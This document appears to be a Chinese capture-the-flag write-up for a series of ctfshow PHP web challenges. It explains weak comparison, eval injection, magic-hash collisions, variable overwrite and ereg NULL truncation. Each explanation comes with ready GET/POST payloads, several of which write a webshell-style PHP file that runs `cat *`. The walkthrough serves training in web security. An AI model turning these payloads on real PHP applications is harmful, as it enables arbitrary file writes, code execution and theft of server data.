解答:题目解析一下:
$allow = array(); //设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i)); //向数组里面插入随机数
}
#判断n是否传参,判断$allow数组中是否存在$_GET['n']的值。
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ //in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换
file_put_contents($_GET['n'], $_POST['content']);
}
in_array是弱类型比较,所以可以用数字+".php"的方式绕过判断,并写入一句话木马。
wp提供的一个思路是前面循环注入的随机数,会有一些数据必然会出现。
比如1-36的随机数在每次循环里都被包括了,他们基本就可以认为必然会出现。视频wp里二分法测试到469,意思是前469的数字应该都有。
但实际应该不是,我测试了一下,比如在下面的这次执行结果中,到56就存在不连续点了。(每次结果都不一样)
基本上循环中覆盖较多的数值,每次出现的概率是很大的,比如1、2等数字都是会出现的,或者就算没出现,重复多试几次刷新一下,也能碰上。
所以按照这个思路,就写入一句话木马到1.php文件,内容是
然后执行命令获取flag。
解答:
v0赋值,赋值=
的优先级高于逻辑运算。所以只要让is_numeric($v1)返回true即可满足if判断,and后面的无论结果如何都不影响。
eval()执行里有一段('ctfshow')
,可以用/**/
注释掉,或者--
注释。
继续看判断,v2不能含有分号,v3可以含有。
if(!preg_match("/\;/", $v2)){ //v2不含分号
if(preg_match("/\;/", $v3)){ //v3含分号
eval("$v2('ctfshow')$v3"); //字符串需要注释掉
payload:?v1=21&v2=var_dump($ctfshow)/*&v3=*/;
解答:这次特殊符号基本都被禁了,利用ReflectionClass建立ctfshow类的反射类,new ReflectionClass($class)
获得class的反射对象(包含了元数据信息)。
payload:?v1=1&v2=echo new Reflectionclass&v3=;
反射返回的对象是class的元数据对象(包含class的所有属性/方法的元数据信息)。
解答:
1)代码分析:v2必须是数字,以满足v4的if判断。
call_user_func($method,$a)
调用的参数是,v2第3位及之后的数字。那么我们需要在后面的数字着手,必须满足数字,科学计数e是唯一可以在is_numeric中不会影响判断数字的字符。所以可选字符只有0-9和e。
7.1以下版本,0x的字符串也是可以作为数字的,但是当前的版本是7.3,并不支持。
(可以通过Wappalyzer插件查看,或者phpinfo查看。)
get:v2=111&v3=1
post:v1=phpinfo
2)利用进制转换,hex2bin可以把十六进制值转换为 ASCII 字符。我们的要写入的这串十六进制,
在0-9和e能组合的字符里,能构成的字符有:(space)、!"#$%&'()@
、反撇号、0-9、A-I
、P-Y
、a-i
、p-y
,还有与e的组合可选择一个(.
、~
、N
、n
、>
、^
)。
file_put_content();
可以写入文件,根据已有内容,不能直接写php语句,因为<
不能用,那么就需要编码,以实现写入php语句。所以v3的内容是利用伪协议写入,编码形式采取base64。
3)确定写入内容。
先测试一个开头(PD9waHAg)和
=
(PD89)均是可以的。
测试了几个命令执行的函数均不能在限定字符内实现,但是还有一个反撇号。单独只使用反撇号的话,不能用,只能使用短标签。就是说:
#下面这个是不会在页面输出结果的。
<?php `cat *`
因为短标签=
是echo() 的快捷用法,所以它会把结果输出出来。
ls命令不能用,base64后有z字符。
cat和tac命令可以用。
f*
不行,那么就直接用cat *
把当前目录下的文件都输出。
最后汇总一下思路:v1是hex2bin;v2里先加上两个随意的数字,如11,然后加上php语句的base64转16进制的内容;v3是php伪协议语句。
payload:
GET:
cat(=`cat *`;):v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
tac(=`tac *`;):v2=11504438395948526859794171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST:v1=hex2bin
#访问2.php后查看源代码获得flag
解答:只是限制了php字符串,我们上个题用的是短标签,而且是用*
全部输出,并不影响,所以上题的payload可用。
解答:sha1弱等于的,找加密后0e开头的即可。这里没有判断v1和v2,两个参数输入同样的值也是可以的。
aaK1STfY ==>0e76658526655756207688271159624026011393
aaO8zKZF ==>0e89257456677279068558073954252716165668
解答:存在两个$
的等式,可以使用php的变量覆盖,就是说可以输出flag 的变量从 f l a g 单一一个变量,变成 ‘ flag单一一个变量,变成` flag单一一个变量,变成‘suces或者
$error`也存放了flag值。
实例:
$a='b';$c='d';
$b=1;$d=0;
echo $$a; #输出1,就是$$a==》$b==》1
echo $$c; #输出0
分析代码:那么尝试让$suces
或者$error
存放flag值,两个foreach语句后都里一个$$key=$$value
,可以让参数名是suces或error,值传递flag,则$$key
是$suces
或$error
,$$value
是$flag
。
因为get限制了key不能error,所以参数名为suces,由于post里value值不能是flag,所以用get传递。post的代码在get之后执行,可以让$error
的值为$suces
,这样三个变量都是flag值,那么后面的语句,无论判断结果如何,都会输出flag。
payload:
GET: ?suces=flag
POST: error=suces
解答:sha1弱等于的,v1和v2不能相等,使用web104的payload即可,找加密后0e开头的。
aaK1STfY =>0e76658526655756207688271159624026011393
aaO8zKZF =>0e89257456677279068558073954252716165668
解答:
parse_str(string,array)把查询字符串解析到变量中。如
parse_str("a=1&b=2",$array);
print_r($array);
#输出:Array([a]=>1 [b]=>2)
所以v1传递内容是v1=flag=??
,具体传递的值根据v3确定,v3经过md5后弱等于v2,那么md5后0e开头即可,让v2的flag变量值为0。
post:v1=flag=0
get:v3=QNKCDZO
解答:ereg:正则表达式匹配。
第一个条件要求:输入的值必须是大小写字母。
第二个条件要求:输入的值反转后,转整数,值为0x36d,转十进制是877。
ereg函数存在NULL截断漏洞,可以绕过正则过滤,使用%00截断。
c=a%00778